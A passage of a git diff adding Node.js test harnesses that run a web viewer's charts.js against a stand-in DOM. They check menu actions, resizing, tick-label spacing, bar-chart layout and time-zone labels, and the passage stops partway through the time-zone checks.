+const series = [{ key: "a", label: "Alpha", color: "#fff" }, { key: "b", label: "Beta, two", color: "#0ff" }];
+const spec = (extra) => ({ points, xKey: "t", series, windowStart: T0, windowEnd: T0 + 10 * MIN, ...extra });
+const btn = (host) => find(host, (n) => n.tag === "button" && n.attrs["aria-label"] === "Chart menu")[0];
+const items = (host) => find(host, (n) => n.attrs.role === "menuitem");
+const openMenu = (host) => {
+  btn(host).listeners.click[0]();
+  return items(host);
+};
+const labels = (list) => list.map((n) => n.textContent);
+
+const out = {};
+const scope = charts.chartZoomScope(4);
+
+const a = charts.zoomableLineChart(spec({ title: "Wait trend", source: { read: "get_wait_stats", params: { hours: 4, server: "A" } } }), "m1", scope);
+out.hasButton = !!btn(a);
+out.itemsUnzoomed = labels(openMenu(a));
+out.expanded = btn(a).attrs["aria-expanded"];
+btn(a).listeners.click[0]();
+const chartDiv = find(a, (n) => String(n.className) === "chart")[0];
+let prevented = false;
+chartDiv.listeners.contextmenu[0]({ preventDefault: () => (prevented = true), clientX: 10, clientY: 10 });
+out.contextMenuItems = items(a).length;
+out.contextMenuPrevented = prevented;
+btn(a).listeners.click[0]();
+
+openMenu(a).find((n) => n.textContent === "Show Data Source").listeners.click[0]();
+out.sourceText = find(a, (n) => String(n.className) === "chart-source")[0].textContent;
+
+openMenu(a).find((n) => n.textContent.startsWith("Export Data to CSV")).listeners.click[0]();
+await new Promise((r) => setTimeout(r, 50));
+out.csv = blobParts ? String(blobParts[1]).split("\r\n") : null;
+
+/* A right-click near the bottom-right corner: the menu is placed by left/top alone and kept inside the chart's box. */
+const corner = charts.zoomableLineChart(spec({ title: "Wait trend" }), "m6", scope);
+const cornerDiv = find(corner, (n) => String(n.className) === "chart")[0];
+cornerDiv.listeners.contextmenu[0]({ preventDefault() {}, clientX: 990, clientY: 315 });
+const cornerMenu = find(corner, (n) => n.attrs.role === "menu")[0];
+out.rightClickStyle = { left: cornerMenu.style.left, top: cornerMenu.style.top, right: cornerMenu.style.right };
+cornerMenu.listeners.keydown[0]({ key: "Tab", preventDefault() {} });
+out.menuAfterTab = find(corner, (n) => n.attrs.role === "menu").length;
+
+/* A chart drawn at a measured width (1600 px, #5586): a right-click near its right edge keeps the menu inside the wider box. */
+globalThis.__plotW = 1600;
+const wideChart = charts.zoomableLineChart(spec({ title: "Wait trend" }), "m9", scope);
+const wideDiv = find(wideChart, (n) => String(n.className) === "chart")[0];
+wideDiv.listeners.contextmenu[0]({ preventDefault() {}, clientX: 1590, clientY: 100 });
+const wideMenu = find(wideChart, (n) => n.attrs.role === "menu")[0];
+out.measuredMenuStyle = { left: wideMenu.style.left, top: wideMenu.style.top, svgWidth: Number(find(wideChart, (n) => n.tag === "svg")[0].attrs.width) };
+wideMenu.listeners.keydown[0]({ key: "Tab", preventDefault() {} });
+globalThis.__plotW = null;
+
+/* The menu and the source panel survive a rebuild of the same chart (the 60 s poll). */
+const keep1 = charts.zoomableLineChart(spec({ title: "Wait trend", source: { read: "get_wait_stats", params: { hours: 4 } } }), "m7", scope);
+openMenu(keep1).find((n) => n.textContent === "Show Data Source").listeners.click[0]();
+openMenu(keep1);
+const keep2 = charts.zoomableLineChart(spec({ title: "Wait trend", source: { read: "get_wait_stats", params: { hours: 4 } } }), "m7", scope);
+out.rebuiltMenuOpen = find(keep2, (n) => n.attrs.role === "menu").length;
+out.rebuiltSource = find(keep2, (n) => String(n.className) === "chart-source")[0].textContent;
+const other = charts.zoomableLineChart(spec({ title: "Wait trend" }), "m8", scope);
+out.otherChartMenuOpen = find(other, (n) => n.attrs.role === "menu").length;
+
+const z = charts.zoomableLineChart(spec({ title: "Wait trend" }), "m2", scope);
+out.noSourceItems = labels(openMenu(z));
+btn(z).listeners.click[0]();
+charts.setChartZoom("m3", scope, T0 + 2 * MIN, T0 + 6 * MIN);
+const zz = charts.zoomableLineChart(spec({ title: "Wait trend" }), "m3", scope);
+out.zoomedItems = labels(openMenu(zz));
+blobParts = null;
+items(zz).find((n) => n.textContent.startsWith("Export Data to CSV")).listeners.click[0]();
+await new Promise((r) => setTimeout(r, 50));
+out.zoomedCsvRows = blobParts ? String(blobParts[1]).split("\r\n").length : null;
+openMenu(zz);
+items(zz).find((n) => n.textContent === "Reset zoom").listeners.click[0]();
+out.zoomAfterReset = charts.getChartZoom("m3", scope) !== null;
+out.menuAfterReset = labels(openMenu(zz));
+
+fs.rmSync(scratch, { recursive: true, force: true });
+console.log(JSON.stringify(out));
+process.exit(0);
diff --git a/Darling/Darling.Tests/web-chart-width-harness.mjs b/Darling/Darling.Tests/web-chart-width-harness.mjs
new file mode 100644
index 0000000000..3559ca9e98
--- /dev/null
+++ b/Darling/Darling.Tests/web-chart-width-harness.mjs
@@ -0,0 +1,630 @@
+/* Runs the web viewer's shipped charts.js (renderLineChart, renderScatterChart, renderBarChart, zoomableLineChart, with util.js) against a
+   stand-in DOM that has a ResizeObserver and a frame queue, resizes the charts' boxes, and prints what was drawn as one line
+   of JSON. WebChartWidthBehaviourTests starts it as
+       node web-chart-width-harness.mjs <path to wwwroot/js>
+   The DOM is a node tree of plain objects that keeps the listeners it is given. A chart's plot box (class chart-plot) is
+   given a width by the harness; the SVG inside it reports the width and height its attributes carry, as a browser lays an
+   absolutely positioned SVG with an inline size out, so a pointer x is measured against the live drawn width. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[process.argv.length - 1];
+
+let svgCreated = 0;
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.isConnected = false;
+    this.hostWidth = 0;
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  replaceChild(next, old) {
+    const i = this.children.indexOf(old);
+    if (i >= 0) this.children[i] = next;
+    return old;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  setPointerCapture() {}
+  /* The box a reader sees: an svg reports none (it is clipped by its host), any other node its host width. */
+  get clientWidth() {
+    return this.tag === "svg" ? 0 : this.hostWidth;
+  }
+  getBoundingClientRect() {
+    if (this.tag === "svg") return { left: 0, top: 0, width: Number(this.attrs.width), height: Number(this.attrs.height) };
+    return { left: 0, top: 0, width: this.hostWidth, height: 300 };
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => {
+    if (tag === "svg") svgCreated++;
+    return new FakeNode(tag);
+  },
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+globalThis.location = { hash: "#/server/A/waits" };
+let fetchCalls = 0;
+globalThis.fetch = () => {
+  fetchCalls++;
+  throw new Error("a redraw must not fetch");
+};
+
+const observers = [];
+globalThis.ResizeObserver = class {
+  constructor(cb) {
+    this.cb = cb;
+    this.targets = [];
+    this.disconnects = 0;
+    observers.push(this);
+  }
+  observe(target) {
+    this.targets.push(target);
+  }
+  disconnect() {
+    this.disconnects++;
+  }
+};
+const frames = [];
+globalThis.requestAnimationFrame = (f) => {
+  frames.push(f);
+  return frames.length;
+};
+globalThis.cancelAnimationFrame = (id) => {
+  frames[id - 1] = null;
+};
+const flush = () => {
+  const queued = frames.splice(0);
+  queued.forEach((f) => f && f());
+};
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "chart-width-"));
+let charts;
+try {
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  charts = await import(pathToFileURL(path.join(scratch, "charts.js")).href);
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const find = (node, pred, out = []) => {
+  if (pred(node)) out.push(node);
+  node.children.forEach((c) => find(c, pred, out));
+  return out;
+};
+const T0 = Date.UTC(2026, 0, 1, 0, 0, 0);
+const MIN = 60000;
+const iso = (ms) => new Date(ms).toISOString().slice(0, 19);
+const points = Array.from({ length: 101 }, (_, i) => ({ t: iso(T0 + i * MIN), v: i, w: 100 - i }));
+const specFor = (extra = {}) => ({
+  points,
+  xKey: "t",
+  series: [{ key: "v", label: "v", color: "#fff" }],
+  windowStart: T0,
+  windowEnd: T0 + 100 * MIN,
+  ...extra,
+});
+const DAY_H = 48;
+const longPoints = Array.from({ length: 49 }, (_, i) => ({ t: iso(T0 + i * 60 * MIN), v: i }));
+const longSpec = (extra = {}) => ({ points: longPoints, xKey: "t", series: [{ key: "v", label: "v", color: "#fff" }], windowStart: T0, windowEnd: T0 + DAY_H * 60 * MIN, ...extra });
+
+const plotHostOf = (chart) => find(chart, (n) => String(n.className) === "chart-plot")[0];
+const observerOf = (host) => observers.find((o) => o.targets.includes(host));
+/* Puts the chart on the page with this box width: the observer reports it, as the browser does once it lays the chart out. */
+const mount = (chart, width) => {
+  const host = plotHostOf(chart);
+  host.isConnected = true;
+  host.hostWidth = width;
+  observerOf(host).cb([{ contentRect: { width, height: 300 } }]);
+  return host;
+};
+const resize = (chart, width, height = 300) => {
+  const host = plotHostOf(chart);
+  host.hostWidth = width;
+  observerOf(host).cb([{ contentRect: { width, height } }]);
+};
+const rootOf = (chart) => find(chart, (n) => n.tag === "svg")[0];
+const geometry = (chart) => {
+  const root = rootOf(chart);
+  const vb = root.attrs.viewBox.split(" ").map(Number);
+  const style = root.attrs.style || "";
+  const cssW = Number((/width:([\d.]+)px/.exec(style) || [])[1]);
+  const cssH = Number((/height:([\d.]+)px/.exec(style) || [])[1]);
+  const transformed = find(root, (n) => "transform" in n.attrs || "transform" in (n.style || {})).length;
+  return {
+    vbW: vb[2],
+    vbH: vb[3],
+    cssW,
+    cssH,
+    xScale: cssW / vb[2],
+    yScale: cssH / vb[3],
+    aspect: root.attrs.preserveAspectRatio || null,
+    transformed,
+    texts: find(root, (n) => n.tag === "text").length,
+  };
+};
+/* The x-axis tick labels: the axis texts on the baseline row that are not the unit caption. */
+const xLabels = (chart) =>
+  find(rootOf(chart), (n) => n.tag === "text" && n.attrs.y === String(300 - 8) && n.attrs.class !== "axis-unit").map((n) => ({
+    x: Number(n.attrs.x),
+    anchor: n.attrs["text-anchor"],
+    text: n.textContent,
+  }));
+/* The least gap in px between neighbouring labels. The width of a label is this test's own estimate, 11px text at 0.7 em per
+   character: 17 % wider than the 0.6 em (6.6 px a character) the shipped code plans with, so a code estimate that is too tight
+   fails here instead of agreeing with itself. */
+const TEST_CHAR_PX = 11 * 0.7;
+const minGap = (labels) => {
+  const spans = labels
+    .map((l) => {
+      const w = l.text.length * TEST_CHAR_PX;
+      const left = l.anchor === "start" ? l.x : l.anchor === "end" ? l.x - w : l.x - w / 2;
+      return [left, left + w];
+    })
+    .sort((a, b) => a[0] - b[0]);
+  let least = Infinity;
+  for (let i = 1; i < spans.length; i++) least = Math.min(least, spans[i][0] - spans[i - 1][1]);
+  return { least, first: spans[0][0], last: spans[spans.length - 1][1] };
+};
+const axisTexts = (chart) => find(rootOf(chart), (n) => n.tag === "text").map((n) => n.textContent);
+
+const out = {};
+
+/* 1. the drawn width equals the box width and the scale is one to one, at both widths, for both charts */
+out.line = {};
+out.scatter = {};
+const scatterSpec = () => ({
+  items: [1, 2, 3, 4, 5].map((i) => ({ label: "g" + i, x: i * 12345, y: i * 7, drill: null })),
+  formatX: (v) => String(v) + " ms",
+  formatY: (v) => String(v),
+  unitX: "ms",
+  unitY: "n",
+});
+for (const w of [600, 2000]) {
+  const c = charts.renderLineChart(specFor());
+  mount(c, w);
+  out.line[w] = geometry(c);
+  const s = charts.renderScatterChart(scatterSpec());
+  mount(s, w);
+  out.scatter[w] = geometry(s);
+}
+/* before it is mounted: the default */
+out.unmounted = geometry(charts.renderLineChart(specFor()));
+out.unmountedScatter = geometry(charts.renderScatterChart(scatterSpec()));
+out.unmountedBar = geometry(charts.renderBarChart({ items: [{ label: "a", value: 1 }] }));
+
+/* 2. a resize redraws once, keeps the zoom window, the hidden series and the annotations, and never fetches */
+const scope = charts.chartZoomScope(4);
+const two = { points, xKey: "t", series: [{ key: "v", label: "v", color: "#fff" }, { key: "w", label: "w", color: "#0f0" }], windowStart: T0, windowEnd: T0 + 100 * MIN };
+charts.setChartHidden("r1", scope, ["w"]);
+const ann = [{ source: "s", displayName: "Events", events: [{ ts: iso(T0 + 30 * MIN), label: "e" }] }];
+const zc = charts.zoomableLineChart({ ...two, annotations: ann }, "r1", scope);
+const polylines = (chart) => find(chart, (n) => n.tag === "polyline" && String(n.attrs.class).includes("series-line")).length;
+const annLines = (chart) => find(chart, (n) => String(n.attrs.class) === "annotation-line").length;
+const chipOf = (chart) => find(chart, (n) => String(n.className).includes("zoom-chip")).length;
+mount(zc, 600);
+const dragBetween = (chart, width, fromMin, toMin) => {
+  const overlay = find(chart, (n) => (n.listeners.pointerdown || []).length)[0];
+  const x = (m) => 58 + (m / 100) * (width - 74);
+  overlay.listeners.pointerdown[0]({ button: 0, clientX: x(fromMin), pointerId: 1 });
+  overlay.listeners.pointerup[0]({ clientX: x(toMin) });
+};
+dragBetween(zc, 600, 20, 40);
+const zoomAt600 = charts.getChartZoom("r1", scope);
+out.zoomHeldBefore = zoomAt600 ? [(zoomAt600.from - T0) / MIN, (zoomAt600.to - T0) / MIN] : null;
+/* the brush redraws the zoomable host; look the chart up again, and re-mount it */
+const zc2 = zc;
+const hostAfterZoom = plotHostOf(zc2);
+hostAfterZoom.isConnected = true;
+hostAfterZoom.hostWidth = 600;
+observerOf(hostAfterZoom).cb([{ contentRect: { width: 600, height: 300 } }]);
+const before = { labels: axisTexts(zc2), polylines: polylines(zc2), ann: annLines(zc2), chip: chipOf(zc2), svgs: svgCreated };
+const xl600 = xLabels(zc2);
+resize(zc2, 2000);
+const queuedAfterResize = frames.filter(Boolean).length;
+resize(zc2, 2000.4); // under a pixel from the pending width: nothing more is queued
+resize(zc2, 2000, 640); // a height-only change: nothing more is queued
+const queuedAfterNoise = frames.filter(Boolean).length;
+const svgsBeforeFlush = svgCreated;
+flush();
+const xl2000 = xLabels(zc2);
+const zoomAfter = charts.getChartZoom("r1", scope);
+out.resize = {
+  queuedAfterResize,
+  queuedAfterNoise,
+  redrawsOnResize: svgCreated - svgsBeforeFlush,
+  drawnOnlyAtFlush: svgsBeforeFlush === before.svgs,
+  geometry: geometry(zc2),
+  polylines: [before.polylines, polylines(zc2)],
+  annotations: [before.ann, annLines(zc2)],
+  chip: [before.chip, chipOf(zc2)],
+  zoomKept: !!zoomAfter && zoomAfter.from === zoomAt600.from && zoomAfter.to === zoomAt600.to,
+  firstLabel: [xl600[0].text, xl2000[0].text],
+  lastLabel: [xl600[xl600.length - 1].text, xl2000[xl2000.length - 1].text],
+  ticks: [xl600.length, xl2000.length],
+  fetchCalls,
+};
+/* a second resize of the same size draws nothing */
+resize(zc2, 2000);
+flush();
+out.resize.redrawsOnSameSize = svgCreated - svgsBeforeFlush - 1;
+
+/* 3. the observer lets go when the chart leaves the page */
+const gone = charts.renderLineChart(specFor());
+const goneHost = mount(gone, 800);
+const goneObs = observerOf(goneHost);
+resize(gone, 900); // queued
+goneHost.isConnected = false; // the panel re-rendered: the chart is out of the page
+const svgsBeforeGone = svgCreated;
+flush();
+out.removed = { disconnects: goneObs.disconnects, redrawsAfterRemoval: svgCreated - svgsBeforeGone };
+goneObs.cb([{ contentRect: { width: 0, height: 0 } }]);
+out.removed.disconnectsAfterFinalReport = goneObs.disconnects;
+const refreshed = [];
+for (let i = 0; i < 5; i++) {
+  const c = charts.zoomableLineChart(specFor(), "leak" + i, scope);
+  mount(c, 700);
+  refreshed.push(c);
+}
+refreshed.forEach((c) => {
+  plotHostOf(c).isConnected = false;
+  observerOf(plotHostOf(c)).cb([{ contentRect: { width: 0, height: 0 } }]);
+});
+out.leak = refreshed.map((c) => observerOf(plotHostOf(c)).disconnects);
+
+/* 4. hover and the zoom drag land on the same data point before and after a resize */
+const hover = (chart, width, fraction) => {
+  const overlay = find(chart, (n) => (n.listeners.mousemove || []).length)[0];
+  overlay.listeners.mousemove[0]({ clientX: 58 + fraction * (width - 74) });
+  const tip = find(chart, (n) => String(n.className) === "chart-tooltip")[0];
+  return tip.children[0].textContent;
+};
+const hc = charts.zoomableLineChart(specFor(), "h1", scope);
+mount(hc, 600);
+const h600 = hover(hc, 600, 0.372);
+resize(hc, 2000);
+flush();
+const h2000 = hover(hc, 2000, 0.372);
+out.hover = [h600, h2000, hover(hc, 2000, 0.372 + 0.004)];
+const dc = charts.zoomableLineChart(specFor(), "d1", scope);
+mount(dc, 600);
+resize(dc, 2000);
+flush();
+dragBetween(dc, 2000, 20, 40);
+const dz = charts.getChartZoom("d1", scope);
+out.dragAfterResize = dz ? [(dz.from - T0) / MIN, (dz.to - T0) / MIN] : null;
+const sc = charts.zoomableLineChart(specFor(), "d2", scope);
+mount(sc, 2000);
+{
+  const overlay = find(sc, (n) => (n.listeners.pointerdown || []).length)[0];
+  const x0 = 58 + (20 / 100) * (2000 - 74);
+  overlay.listeners.pointerdown[0]({ button: 0, clientX: x0, pointerId: 1 });
+  overlay.listeners.pointerup[0]({ clientX: x0 + 7 });
+  out.sevenPx = charts.getChartZoom("d2", scope) !== null;
+  overlay.listeners.pointerdown[0]({ button: 0, clientX: x0, pointerId: 1 });
+  overlay.listeners.pointerup[0]({ clientX: x0 + 9 });
+  out.ninePx = charts.getChartZoom("d2", scope) !== null;
+}
+
+/* 5. the x tick labels do not overlap at 360 and 600 px, and a wide panel gets more of them */
+out.ticks = {};
+for (const w of [360, 600, 2000]) {
+  const shortDay = charts.renderLineChart(specFor());
+  mount(shortDay, w);
+  const dated = charts.renderLineChart(longSpec());
+  mount(dated, w);
+  const overlay = charts.renderLineChart(longSpec({ series2: { key: "v", label: "o", color: "#0f0" } }));
+  mount(overlay, w);
+  const a = xLabels(shortDay);
+  const b = xLabels(dated);
+  const c = xLabels(overlay);
+  out.ticks[w] = {
+    shortCount: a.length,
+    datedCount: b.length,
+    overlayCount: c.length,
+    shortGap: minGap(a).least,
+    datedGap: minGap(b).least,
+    overlayGap: minGap(c).least,
+    datedLabel: b[0].text,
+    datedFirst: minGap(b).first,
+    datedLast: minGap(b).last,
+    plotRight: w - 16,
+  };
+}
+const sw = {};
+for (const w of [360, 600]) {
+  const s = charts.renderScatterChart(scatterSpec());
+  mount(s, w);
+  const labels = xLabels(s).filter((l) => l.text.endsWith(" ms"));
+  sw[w] = { count: labels.length, gap: minGap(labels).least };
+}
+out.scatterTicks = sw;
+
+/* 6. no two x labels read the same, at any width and window (a brush-zoomed span can be a few minutes or seconds wide) */
+const windowChart = (startMs, spanMs, width) => {
+  const c = charts.renderLineChart({
+    points: [0, 1].map((i) => ({ t: iso(startMs + i * (spanMs - 1000)), v: i })),
+    xKey: "t",
+    series: [{ key: "v", label: "v", color: "#fff" }],
+    windowStart: startMs,
+    windowEnd: startMs + spanMs,
+  });
+  mount(c, width);
+  return xLabels(c).map((l) => l.text);
+};
+const THIRTY_DAYS = 30 * 24 * 60 * MIN;
+const monthTicks = windowChart(T0 + 40000, THIRTY_DAYS, 2000);
+const evenly = Array.from({ length: 11 }, (_, i) => {
+  const t = T0 + 40000 + (THIRTY_DAYS * i) / 10;
+  return new Date(t).toLocaleString([], { month: "numeric", day: "numeric", hour: "2-digit", minute: "2-digit" });
+});
+out.distinctLabels = {
+  // the start is 40 s past the minute, so the end of each window is not on a whole minute either
+  sixMinutes2000: windowChart(T0 + 40000, 6 * MIN, 2000),
+  sixMinutes1000: windowChart(T0 + 40000, 6 * MIN, 1000),
+  twoMinutes2000: windowChart(T0 + 40000, 2 * MIN, 2000),
+  ninetySeconds600: windowChart(T0 + 40000, 90000, 600),
+  ninetySeconds2000: windowChart(T0 + 40000, 90000, 2000),
+  fortyFiveSeconds2000: windowChart(T0 + 40000, 45000, 2000),
+  thirtyDays: monthTicks,
+  thirtyDaysEvenly: evenly,
+};
+
+/* 7. the tooltip is clamped to the visible box: in a 180 px host (below the 200 px floor) the svg is 200 px wide and clipped */
+{
+  const c = charts.zoomableLineChart(specFor(), "tip1", scope);
+  mount(c, 180);
+  const tip = find(c, (n) => String(n.className) === "chart-tooltip")[0];
+  tip.offsetWidth = 120;
+  const overlay = find(c, (n) => (n.listeners.mousemove || []).length)[0];
+  overlay.listeners.mousemove[0]({ clientX: 190 });
+  out.tooltip = { left: parseFloat(tip.style.left), visibleWidth: 180, tooltipWidth: 120 };
+}
+
+/* 8. the scatter keeps every gridline and labels fewer ticks on a narrow plot, always the first and the last */
+{
+  const verticalGrid = (c) => find(rootOf(c), (n) => n.tag === "line" && n.attrs.class === "grid-line" && n.attrs.x1 === n.attrs.x2).length;
+  const out8 = {};
+  for (const w of [360, 2000]) {
+    const s = charts.renderScatterChart(scatterSpec());
+    mount(s, w);
+    const labels = xLabels(s).filter((l) => l.text.endsWith(" ms"));
+    out8[w] = { gridlines: verticalGrid(s), labels: labels.map((l) => l.text) };
+  }
+  /* six ticks (0, 2 ... 10) with a stride of two: the tick before the last gives way to the last one */
+  const six = charts.renderScatterChart({ ...scatterSpec(), items: [1, 2, 3].map((i) => ({ label: "g" + i, x: i * 3.3, y: i, drill: null })) });
+  mount(six, 360);
+  out8.six = { gridlines: verticalGrid(six), labels: xLabels(six).filter((l) => l.text.endsWith(" ms")).map((l) => l.text) };
+  out.scatterGrid = out8;
+}
+
+/* 9. a poll builds a chart once: the second build of a chart already measured is drawn at that width and is not redrawn */
+{
+  const buildsFor = (make) => {
+    const first = make();
+    mount(first, 1234);
+    const before = svgCreated;
+    const second = make();
+    mount(second, 1234);
+    return { builds: svgCreated - before, vbW: geometry(second).vbW };
+  };
+  out.poll = {
+    keyedLine: buildsFor(() => charts.zoomableLineChart(specFor(), "poll1", scope)),
+    widthKeyLine: buildsFor(() => charts.renderLineChart(specFor({ widthKey: "composed|0|p" }))),
+    keyedScatter: buildsFor(() => charts.renderScatterChart({ ...scatterSpec(), widthKey: "composed|1|s" })),
+    unkeyedLine: buildsFor(() => charts.renderLineChart(specFor())),
+  };
+}
+
+/* 10. the ranked bar chart is drawn at its box's width like the line and scatter charts: one unit per pixel at 600 and 2,000 px,
+   a height that follows the bar count alone, labels that fit their gutter and values that fit the right edge. A glyph is
+   BAR_TEST_CHAR_PX wide: this test's own estimate (12px text at 0.73 em, 8.76 px), 15 % or more over the 7.6 px a character the
+   script's own glyph estimate is (BAR_CHAR_PX), so a layout that is too tight for a wide font fails here; the browser check
+   measures the real font (about 6 px a character). */
+{
+  const BAR_TEST_CHAR_PX = 12 * 0.73;
+  const barItems = [
+    { label: "a_rather_long_database_name_that_is_cut_at_thirty", value: 1234567, drill: [{ dimension: "d", value: "x" }] },
+    { label: "master", value: 900000 },
+    { label: "tempdb", value: 450000 },
+    { label: "msdb", value: 12 },
+    { label: "", value: 3 },
+  ];
+  const barSpec = (extra = {}) => ({ items: barItems, formatValue: (v) => v.toLocaleString("en-US") + " ms", thresholds: [600000], onSelect: () => {}, ...extra });
+  const barGeometry = (chart) => {
+    const root = rootOf(chart);
+    const g = geometry(chart);
+    const labels = find(root, (n) => n.tag === "text" && n.attrs.class === "bar-label");
+    const values = find(root, (n) => n.tag === "text" && n.attrs.class === "bar-value");
+    const tracks = find(root, (n) => n.tag === "rect" && String(n.attrs.class).startsWith("bar-track"));
+    const textW = (n) => n.textContent.length * BAR_TEST_CHAR_PX;
+    return {
+      ...g,
+      rows: labels.length,
+      labelLeftMin: Math.min(...labels.map((n) => Number(n.attrs.x) - textW(n))),
+      labelRight: Math.max(...labels.map((n) => Number(n.attrs.x))),
+      trackLeft: Number(tracks[0].attrs.x),
+      trackRight: Number(tracks[0].attrs.x) + Number(tracks[0].attrs.width),
+      valueRightMax: Math.max(...values.map((n) => Number(n.attrs.x) + textW(n))),
+      longestLabel: Math.max(...labels.map((n) => n.textContent.length)),
+      firstLabel: labels[0].textContent,
+      thresholds: find(root, (n) => String(n.attrs.class) === "threshold-line").length,
+      trackW: Number(tracks[0].attrs.width),
+      /* #5586: the document order (find is pre-order) of the layers: the bar fills, the threshold lines, then every value text */
+      layers: (() => {
+        const all = find(root, () => true);
+        const idx = (pred) => all.map((n, i) => (pred(n) ? i : -1)).filter((i) => i >= 0);
+        const fills = idx((n) => n.tag === "rect" && /^bar( |$)/.test(String(n.attrs.class)));
+        const lines = idx((n) => String(n.attrs.class) === "threshold-line");
+        const vals = idx((n) => n.tag === "text" && n.attrs.class === "bar-value");
+        return { lastFill: Math.max(...fills), firstLine: Math.min(...lines), lastLine: Math.max(...lines), firstValue: Math.min(...vals) };
+      })(),
+    };
+  };
+  out.bar = {};
+  for (const w of [200, 230, 260, 360, 600, 2000]) {
+    const c = charts.renderBarChart(barSpec());
+    mount(c, w);
+    out.bar[w] = barGeometry(c);
+  }
+  /* the longest label shows whole when its gutter was sized for it: a longest label of every length 1 to 30 at 2,000 px (a
+     gutter rounded down held one character fewer at lengths such as 4, 7 and 9) */
+  out.barLabelLengths = [];
+  for (let len = 1; len <= 30; len++) {
+    const c = charts.renderBarChart({ items: [{ label: "x".repeat(len), value: 5 }, { label: "a", value: 3 }] });
+    mount(c, 2000);
+    const labels = find(rootOf(c), (n) => n.tag === "text" && n.attrs.class === "bar-label").map((n) => n.textContent);
+    out.barLabelLengths.push({ len, shown: labels[0].length, cut: labels[0].includes("…") });
+  }
+  const rc = charts.renderBarChart(barSpec());
+  mount(rc, 600);
+  const barBuilds = svgCreated;
+  resize(rc, 2000);
+  const queued = frames.filter(Boolean).length;
+  flush();
+  out.barResize = { queued, redraws: svgCreated - barBuilds, vbW: geometry(rc).vbW };
+  /* the number of bars alone sets the height */
+  const few = charts.renderBarChart(barSpec({ items: barItems.slice(0, 2) }));
+  mount(few, 1500);
+  out.barFew = geometry(few);
+}
+
+/* 11. a poll builds a bar chart once, like the other two */
+{
+  const buildsFor = (make) => {
+    const first = make();
+    mount(first, 1234);
+    const before = svgCreated;
+    const second = make();
+    mount(second, 1234);
+    return { builds: svgCreated - before, vbW: geometry(second).vbW };
+  };
+  out.poll.keyedBar = buildsFor(() => charts.renderBarChart({ items: [{ label: "a", value: 2 }, { label: "b", value: 1 }], widthKey: "composed|2|b" }));
+  out.poll.unkeyedBar = buildsFor(() => charts.renderBarChart({ items: [{ label: "a", value: 2 }, { label: "b", value: 1 }] }));
+}
+
+/* 12. the scatter's end labels stay inside the plot and its x unit caption is clear of the label row */
+{
+  out.scatterEdges = {};
+  for (const w of [600, 2000]) {
+    const c = charts.renderScatterChart(scatterSpec());
+    mount(c, w);
+    const texts = find(rootOf(c), (n) => n.tag === "text");
+    const labels = texts.filter((n) => n.attrs.y === String(300 - 8) && n.attrs.class !== "axis-unit");
+    const last = labels[labels.length - 1];
+    const cap = texts.find((n) => n.attrs.class === "axis-unit" && n.textContent === "ms");
+    out.scatterEdges[w] = {
+      plotRight: w - 16,
+      firstAnchor: labels[0].attrs["text-anchor"],
+      firstX: Number(labels[0].attrs.x),
+      lastAnchor: last.attrs["text-anchor"],
+      lastX: Number(last.attrs.x),
+      captionY: Number(cap.attrs.y),
+      labelRowY: 300 - 8,
+    };
+  }
+}
+/* 13. a window across a clock change labels every tick with its zone, so no two read the same; a window with one offset is
+   unchanged. The harness sets the zone itself (the runtime honours a TZ assigned here) and puts it back. */
+{
+  const savedTz = process.env.TZ;
+  process.env.TZ = "America/New_York";
+  const HOUR = 60 * MIN;
+  /* The UTC instant of a New York wall-clock hour, found by trying both offsets so the test does not hard-code one. */
+  const ny = (y, m, d, h) => {
+    for (const off of [4, 5]) {
+      const t = Date.UTC(y, m, d, h + off);
+      if (new Date(t).getHours() === h && new Date(t).getDate() === d) return t;
+    }
+    throw new Error("no such local time");
+  };
+  out.dst = {
+    zone: new Date(Date.UTC(2026, 6, 1)).toLocaleTimeString("en-US", { timeZoneName: "short" }),
+    fallBack600: windowChart(ny(2026, 10, 1, 0), 4 * HOUR, 600),
+    fallBackFrom0100At600: windowChart(Date.UTC(2026, 10, 1, 5), 4 * HOUR, 600),
+    fallBack2000: windowChart(ny(2026, 10, 1, 0), 4 * HOUR, 2000),
+    fallBack360: windowChart(ny(2026, 10, 1, 0), 4 * HOUR, 360),
+    springForward600: windowChart(ny(2026, 2, 8, 0), 4 * HOUR, 600),
+    springForward2000: windowChart(ny(2026, 2, 8, 0), 4 * HOUR, 2000),
+    sameOffset600: windowChart(ny(2026, 0, 15, 0), 4 * HOUR, 600),
+    sameOffset2000: windowChart(ny(2026, 0, 15, 0), 4 * HOUR, 2000),
+  };
+  /* the zone suffix makes a label longer: the labels still keep their gap and stay inside the plot */
+  for (const width of [360, 600, 2000]) {
+    const start = ny(2026, 10, 1, 0);
+    const c = charts.renderLineChart({
+      points: [0, 1].map((i) => ({ t: iso(start + i * (4 * HOUR - 1000)), v: i })),
+      xKey: "t",
+      series: [{ key: "v", label: "v", color: "#fff" }],
+      windowStart: start,
+      windowEnd: start + 4 * HOUR,
+    });
+    mount(c, width);
+    const g = minGap(xLabels(c));
+    out.dst["fit" + width] = { gap: g.least, first: g.first, last: g.last, plotRight: width - 16 };
+  }
